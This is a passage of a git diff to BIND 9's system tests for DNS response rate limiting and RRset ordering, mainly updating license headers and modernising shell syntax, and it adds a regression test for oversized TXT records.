 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
-
 .	0	NS	ns1.
 ns1.	0	A	10.53.0.1
diff --git a/bin/tests/system/rrl/ns3/named.conf.in b/bin/tests/system/rrl/ns3/named.conf.in
index d8156d8b8c..8807f44b6e 100644
--- a/bin/tests/system/rrl/ns3/named.conf.in
+++ b/bin/tests/system/rrl/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rrl/ns3/tld3.db b/bin/tests/system/rrl/ns3/tld3.db
index 26e9f3301d..a534c6e49a 100644
--- a/bin/tests/system/rrl/ns3/tld3.db
+++ b/bin/tests/system/rrl/ns3/tld3.db
@@ -1,14 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
-
 ; rate limit response from this zone
 
 $TTL	120
diff --git a/bin/tests/system/rrl/ns4/hints b/bin/tests/system/rrl/ns4/hints
index cb67a8b3ec..a1d435e1c6 100644
--- a/bin/tests/system/rrl/ns4/hints
+++ b/bin/tests/system/rrl/ns4/hints
@@ -1,13 +1,13 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
-
 .	0	NS	ns1.
 ns1.	0	A	10.53.0.1
diff --git a/bin/tests/system/rrl/ns4/named.conf.in b/bin/tests/system/rrl/ns4/named.conf.in
index 028281fe74..3cd598e63b 100644
--- a/bin/tests/system/rrl/ns4/named.conf.in
+++ b/bin/tests/system/rrl/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -22,6 +24,7 @@ options {
 	notify no;
 	recursion yes;
 	dnssec-validation yes;
+	max-udp-size 4096;
 
 	rate-limit {
 	    responses-per-second 2;
@@ -37,7 +40,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 controls {
 	inet 10.53.0.4 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
diff --git a/bin/tests/system/rrl/ns4/tld4.db b/bin/tests/system/rrl/ns4/tld4.db
index 5b746a01ab..a7bc319ac2 100644
--- a/bin/tests/system/rrl/ns4/tld4.db
+++ b/bin/tests/system/rrl/ns4/tld4.db
@@ -1,14 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
-
 ; rate limit response from this zone
 
 $TTL	120
@@ -40,3 +40,6 @@ a8		A	192.0.2.8
 
 ; a9 for all-per-second limit
 $GENERATE 101-180 all$.a9 A 192.0.2.8
+
+; oversized TXT record
+$GENERATE 1-100    big    1    TXT    "txt$"
diff --git a/bin/tests/system/rrl/setup.sh b/bin/tests/system/rrl/setup.sh
index c5d8b3b8b2..752b02ceed 100644
--- a/bin/tests/system/rrl/setup.sh
+++ b/bin/tests/system/rrl/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -13,6 +15,7 @@
 
 $SHELL clean.sh
 
+copy_setports broken.conf.in broken.conf
 copy_setports ns1/named.conf.in ns1/named.conf
 copy_setports ns2/named.conf.in ns2/named.conf
 copy_setports ns3/named.conf.in ns3/named.conf
diff --git a/bin/tests/system/rrl/tests.sh b/bin/tests/system/rrl/tests.sh
index 846f692989..d6fa5aa247 100644
--- a/bin/tests/system/rrl/tests.sh
+++ b/bin/tests/system/rrl/tests.sh
@@ -1,12 +1,18 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 # test response rate limiting
 
 . ../conf.sh
@@ -28,7 +34,7 @@ while getopts "x" c; do
 	*) echo "$USAGE" 1>&2; exit 1;;
     esac
 done
-shift `expr $OPTIND - 1 || true`
+shift $((OPTIND - 1))
 if test "$#" -ne 0; then
     echo "$USAGE" 1>&2
     exit 1
@@ -48,9 +54,9 @@ setret () {
 #   The start of a second credits a rate limit.
 #   This would be far easier in C or by assuming a modern version of perl.
 sec_start () {
-    START=`date`
+    START=$(date)
     while true; do
-	NOW=`date`
+	NOW=$(date)
 	if test "$START" != "$NOW"; then
 	    return
 	fi
@@ -74,7 +80,7 @@ burst () {
     CNT=$XCNT
 
     DOMS=""
-    CNTS=`$PERL -e 'for ( $i = 0; $i < '$BURST_LIMIT'; $i++) { printf "%03d\n", '$QNUM' + $i; }'`
+    CNTS=$($PERL -e 'for ( $i = 0; $i < '$BURST_LIMIT'; $i++) { printf "%03d\n", '$QNUM' + $i; }')
     for CNT in $CNTS
     do
         eval BURST_DOM="$BURST_DOM_BASE"
@@ -82,7 +88,6 @@ burst () {
     done
     ARGS="+burst +nocookie +continue +time=1 +tries=1 -p ${PORT} $* @$ns2 $DOMS"
     $MDIG $ARGS 2>&1 |                                                  \
-        tr -d '\r' |                                                    \
         tee -a full-$FILENAME |                                         \
         sed -n -e '/^;; AUTHORITY/,/^$/d'			        \
 		-e '/^;; ADDITIONAL/,/^$/d'				\
@@ -93,7 +98,7 @@ burst () {
 		-e 's/;; .* status: SERVFAIL.*/SERVFAIL/p'		\
 		-e 's/response failed with timed out.*/drop/p'		\
 		-e 's/;; communications error to.*/drop/p' >> $FILENAME &
-    QNUM=`expr $QNUM + $BURST_LIMIT`
+    QNUM=$((QNUM + BURST_LIMIT))
 }
 
 # compare integers $1 and $2; ensure the difference is no more than $3
@@ -107,31 +112,31 @@ ck_result() {
     # wait to the background mdig calls to complete.
     wait
     BAD=no
-    ADDRS=`egrep "^$2$" mdig.out-$1				2>/dev/null | wc -l`
+    ADDRS=$(grep -E "^$2$" mdig.out-$1				2>/dev/null | wc -l)
     # count simple truncated and truncated NXDOMAIN as TC
-    TC=`egrep "^TC|NXDOMAINTC$" mdig.out-$1			2>/dev/null | wc -l`
-    DROP=`egrep "^drop$" mdig.out-$1				2>/dev/null | wc -l`
+    TC=$(grep -E "^TC|NXDOMAINTC$" mdig.out-$1			2>/dev/null | wc -l)
+    DROP=$(grep -E "^drop$" mdig.out-$1				2>/dev/null | wc -l)
     # count NXDOMAIN and truncated NXDOMAIN as NXDOMAIN
-    NXDOMAIN=`egrep "^NXDOMAIN|NXDOMAINTC$" mdig.out-$1		2>/dev/null | wc -l`
-    SERVFAIL=`egrep "^SERVFAIL$" mdig.out-$1			2>/dev/null | wc -l`
-    NOERROR=`egrep "^NOERROR$" mdig.out-$1			2>/dev/null | wc -l`
-    
+    NXDOMAIN=$(grep -E "^NXDOMAIN|NXDOMAINTC$" mdig.out-$1		2>/dev/null | wc -l)
+    SERVFAIL=$(grep -E "^SERVFAIL$" mdig.out-$1			2>/dev/null | wc -l)
+    NOERROR=$(grep -E "^NOERROR$" mdig.out-$1			2>/dev/null | wc -l)
+
     range $ADDRS "$3" 1 ||
     setret "$ADDRS instead of $3 '$2' responses for $1" &&
     BAD=yes
-    
+
     range $TC "$4" 1 ||
     setret "$TC instead of $4 truncation responses for $1" &&
     BAD=yes
-    
+
     range $DROP "$5" 1 ||
     setret "$DROP instead of $5 dropped responses for $1" &&
     BAD=yes
-    
+
     range $NXDOMAIN "$6" 1 ||
     setret "$NXDOMAIN instead of $6 NXDOMAIN responses for $1" &&
     BAD=yes
-    
+
     range $SERVFAIL "$7" 1 ||
     setret "$SERVFAIL instead of $7 error responses for $1" &&
     BAD=yes
@@ -139,7 +144,7 @@ ck_result() {
     range $NOERROR "$8" 1 ||
     setret "$NOERROR instead of $8 NOERROR responses for $1" &&
     BAD=yes
-    
+
     if test -z "$BAD"; then
 	rm -f mdig.out-$1
     fi
@@ -150,11 +155,11 @@ ckstats () {
     LABEL="$1"; shift
     TYPE="$1"; shift
     EXPECTED="$1"; shift
-    C=`tr -d '\r' < ns2/named.stats |
+    C=$(cat ns2/named.stats |
         sed -n -e "s/[	 ]*\([0-9]*\).responses $TYPE for rate limits.*/\1/p" |
-        tail -1`
-    C=`expr 0$C + 0`
-    
+        tail -1)
+    C=$((C))
+
     range "$C" $EXPECTED 1 ||
     setret "wrong $LABEL $TYPE statistics of $C instead of $EXPECTED"
 }
@@ -171,9 +176,7 @@ burst 3 a1.tld2
 sleep 1
 burst 10 a1.tld2
 # Request 30 different qnames to try a wildcard.
-burst 30 'x$CNT.a2.tld2'
-# These should be counted and limited but are not.  See RT33138.
-burst 10 'y.x$CNT.a2.tld2'
+burst 30 'y.x$CNT.a2.tld2'
 
 #					IP      TC      drop  NXDOMAIN SERVFAIL NOERROR
 # referrals to "."
@@ -181,12 +184,9 @@ ck_result   a1.tld3	x		0	1	2	0	0	2
 # check 13 results including 1 second delay that allows an additional response
 ck_result   a1.tld2	192.0.2.1	3	4	6	0	0	8
 
-# Check the wild card answers.
-# The parent name of the 30 requests is counted.
-ck_result 'x*.a2.tld2'	192.0.2.2	2	10	18	0	0	12
-
-# These should be limited but are not.  See RT33138.
-ck_result 'y.x*.a2.tld2' 192.0.2.2	10	0	0	0	0	10
+# Check the wildcard answers.
+# The zone origin name of the 30 requests is counted.
+ck_result 'y.x*.a2.tld2'	192.0.2.2	2	10	18	0	0	12
 
 #########
 sec_start
@@ -254,33 +254,38 @@ $RNDCCMD $ns2 stats
 ckstats final dropped 56
 ckstats final truncated 23
 
+
 #########
 sec_start
 
+# check that "would limit" is emitted for "log-only yes;"
 DIGOPTS="+nocookie +nosearch +time=1 +tries=1 +ignore -p ${PORT}"
-$DIG $DIGOPTS @$ns4 A a7.tld4 > /dev/null 2>&1
-$DIG $DIGOPTS @$ns4 A a7.tld4 > /dev/null 2>&1
-$DIG $DIGOPTS @$ns4 A a7.tld4 > /dev/null 2>&1
-$DIG $DIGOPTS @$ns4 A a7.tld4 > /dev/null 2>&1
-$DIG $DIGOPTS @$ns4 A a7.tld4 > /dev/null 2>&1
-$DIG $DIGOPTS @$ns4 A a7.tld4 > /dev/null 2>&1
-$DIG $DIGOPTS @$ns4 A a7.tld4 > /dev/null 2>&1
-$DIG $DIGOPTS @$ns4 A a7.tld4 > /dev/null 2>&1
-$DIG $DIGOPTS @$ns4 A a7.tld4 > /dev/null 2>&1
-$DIG $DIGOPTS @$ns4 A a7.tld4 > /dev/null 2>&1
-$DIG $DIGOPTS @$ns4 A a7.tld4 > /dev/null 2>&1
-
-grep "would limit" ns4/named.run >/dev/null 2>&1 ||
-setret "\"would limit\" not found in log file."
+$DIG $DIGOPTS @$ns4 A a7.tld4 > dig.out.a7.tld 2> /dev/null
+# skip this check if query takes over 500ms
+if grep -E ';; Query time: [1-4]?[0-9]?[0-9] msec' dig.out.a7.tld > /dev/null 2>&1; then
+    for i in 1 2 3 4 5; do
+        $DIG $DIGOPTS @$ns4 A a7.tld4 > /dev/null 2>&1 &
+    done
+    wait
+    grep "would limit" ns4/named.run > /dev/null 2>&1 || setret "\"would limit\" not found in log file."
+fi
 
+
+# regression test for GL #2839
+DIGOPTS="+bufsize=4096 +ignore -p ${PORT}"
+$DIG $DIGOPTS @$ns4 TXT big.tld4 > /dev/null 2>&1
+
+
+# check named doesn't start with a broken config
 $NAMED -D rrl-ns5 -gc broken.conf > broken.out 2>&1 &
 sleep 2
 grep "min-table-size 1" broken.out > /dev/null || setret "min-table-size 0 was not changed to 1"
 
 if [ -f named.pid ]; then
-    $KILL `cat named.pid`
+    kill $(cat named.pid)
     setret "named should not have started, but did"
 fi
 
+
 echo_i "exit status: $ret"
 [ $ret -eq 0 ] || exit 1
diff --git a/bin/tests/system/rrl/tests_sh_rrl.py b/bin/tests/system/rrl/tests_sh_rrl.py
new file mode 100644
index 0000000000..05b43a6fe1
--- /dev/null
+++ b/bin/tests/system/rrl/tests_sh_rrl.py
@@ -0,0 +1,18 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import pytest_custom_markers
+
+
+# The rrl is known to be quite unstable. GL #172
+@pytest_custom_markers.flaky(max_runs=2)
+def test_rrl(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/rrsetorder/clean.sh b/bin/tests/system/rrsetorder/clean.sh
index 97c025ae32..c64ae34bb0 100644
--- a/bin/tests/system/rrsetorder/clean.sh
+++ b/bin/tests/system/rrsetorder/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/rrsetorder/ns1/named.conf.in b/bin/tests/system/rrsetorder/ns1/named.conf.in
index d4ee9ed195..98301c2e5b 100644
--- a/bin/tests/system/rrsetorder/ns1/named.conf.in
+++ b/bin/tests/system/rrsetorder/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rrsetorder/ns1/root.db b/bin/tests/system/rrsetorder/ns1/root.db
index 2367f1025f..094eec7eb6 100644
--- a/bin/tests/system/rrsetorder/ns1/root.db
+++ b/bin/tests/system/rrsetorder/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rrsetorder/ns2/named.conf.in b/bin/tests/system/rrsetorder/ns2/named.conf.in
index a3742cf79b..164400ac52 100644
--- a/bin/tests/system/rrsetorder/ns2/named.conf.in
+++ b/bin/tests/system/rrsetorder/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rrsetorder/ns3/named.conf.in b/bin/tests/system/rrsetorder/ns3/named.conf.in
index 1f3b54ac25..a5850ca344 100644
--- a/bin/tests/system/rrsetorder/ns3/named.conf.in
+++ b/bin/tests/system/rrsetorder/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rrsetorder/ns4/named.conf.in b/bin/tests/system/rrsetorder/ns4/named.conf.in
index d76b71d7d1..d12f50f833 100644
--- a/bin/tests/system/rrsetorder/ns4/named.conf.in
+++ b/bin/tests/system/rrsetorder/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rrsetorder/ns5/named.conf.in b/bin/tests/system/rrsetorder/ns5/named.conf.in
index 005c6313c5..d1a4cfae8b 100644
--- a/bin/tests/system/rrsetorder/ns5/named.conf.in
+++ b/bin/tests/system/rrsetorder/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rrsetorder/dig.out.fixed.good b/bin/tests/system/rrsetorder/reference.dig.out.fixed.good
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.fixed.good
rename to bin/tests/system/rrsetorder/reference.dig.out.fixed.good
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good1 b/bin/tests/system/rrsetorder/reference.dig.out.random.good1
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good1
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good1
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good10 b/bin/tests/system/rrsetorder/reference.dig.out.random.good10
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good10
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good10
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good11 b/bin/tests/system/rrsetorder/reference.dig.out.random.good11
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good11
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good11
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good12 b/bin/tests/system/rrsetorder/reference.dig.out.random.good12
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good12
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good12
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good13 b/bin/tests/system/rrsetorder/reference.dig.out.random.good13
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good13
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good13
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good14 b/bin/tests/system/rrsetorder/reference.dig.out.random.good14
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good14
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good14
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good15 b/bin/tests/system/rrsetorder/reference.dig.out.random.good15
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good15
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good15
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good16 b/bin/tests/system/rrsetorder/reference.dig.out.random.good16
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good16
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good16
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good17 b/bin/tests/system/rrsetorder/reference.dig.out.random.good17
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good17
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good17
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good18 b/bin/tests/system/rrsetorder/reference.dig.out.random.good18
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good18
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good18
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good19 b/bin/tests/system/rrsetorder/reference.dig.out.random.good19
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good19
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good19
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good2 b/bin/tests/system/rrsetorder/reference.dig.out.random.good2
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good2
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good2
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good20 b/bin/tests/system/rrsetorder/reference.dig.out.random.good20
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good20
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good20
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good21 b/bin/tests/system/rrsetorder/reference.dig.out.random.good21
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good21
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good21
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good22 b/bin/tests/system/rrsetorder/reference.dig.out.random.good22
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good22
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good22
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good23 b/bin/tests/system/rrsetorder/reference.dig.out.random.good23
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good23
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good23
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good24 b/bin/tests/system/rrsetorder/reference.dig.out.random.good24
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good24
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good24
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good3 b/bin/tests/system/rrsetorder/reference.dig.out.random.good3
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good3
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good3
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good4 b/bin/tests/system/rrsetorder/reference.dig.out.random.good4
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good4
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good4
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good5 b/bin/tests/system/rrsetorder/reference.dig.out.random.good5
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good5
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good5
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good6 b/bin/tests/system/rrsetorder/reference.dig.out.random.good6
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good6
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good6
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good7 b/bin/tests/system/rrsetorder/reference.dig.out.random.good7
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good7
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good7
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good8 b/bin/tests/system/rrsetorder/reference.dig.out.random.good8
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good8
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good8
diff --git a/bin/tests/system/rrsetorder/dig.out.random.good9 b/bin/tests/system/rrsetorder/reference.dig.out.random.good9
similarity index 100%
rename from bin/tests/system/rrsetorder/dig.out.random.good9
rename to bin/tests/system/rrsetorder/reference.dig.out.random.good9
diff --git a/bin/tests/system/rrsetorder/setup.sh b/bin/tests/system/rrsetorder/setup.sh
index 0f181e9813..fbb1a38f9d 100644
--- a/bin/tests/system/rrsetorder/setup.sh
+++ b/bin/tests/system/rrsetorder/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/rrsetorder/tests.sh b/bin/tests/system/rrsetorder/tests.sh
index 1c63711051..cf8bbd12d3 100644
--- a/bin/tests/system/rrsetorder/tests.sh
+++ b/bin/tests/system/rrsetorder/tests.sh
@@ -1,18 +1,26 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+nosea +nocomm +nocmd +noquest +noadd +noauth +nocomm +nostat +short +nocookie"
-DIGCMD="$DIG $DIGOPTS -p ${PORT}"
+
+dig_cmd() {
+	# shellcheck disable=SC2086
+	"$DIG" $DIGOPTS -p "${PORT}" "$@" | grep -v '^;'
+}
 
 status=0
 
@@ -34,34 +42,34 @@ if $test_fixed; then
     ret=0
     for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
     do
-    $DIGCMD @10.53.0.1 fixed.example > dig.out.fixed || ret=1
-    $DIFF dig.out.fixed dig.out.fixed.good >/dev/null || ret=1
+    dig_cmd @10.53.0.1 fixed.example > dig.out.fixed || ret=1
+    diff dig.out.fixed reference.dig.out.fixed.good >/dev/null || ret=1
     done
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 else
     echo_i "Checking order fixed behaves as cyclic when disabled (primary)"
     ret=0
     matches=0
     for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
     do
-        j=`expr $i % 4`
-	$DIGCMD @10.53.0.1 fixed.example > dig.out.fixed  || ret=1
-        if [ $i -le 4 ]; then
-            cp dig.out.fixed dig.out.$j
-        else
-            $DIFF dig.out.fixed dig.out.$j >/dev/null && matches=`expr $matches + 1`
-        fi
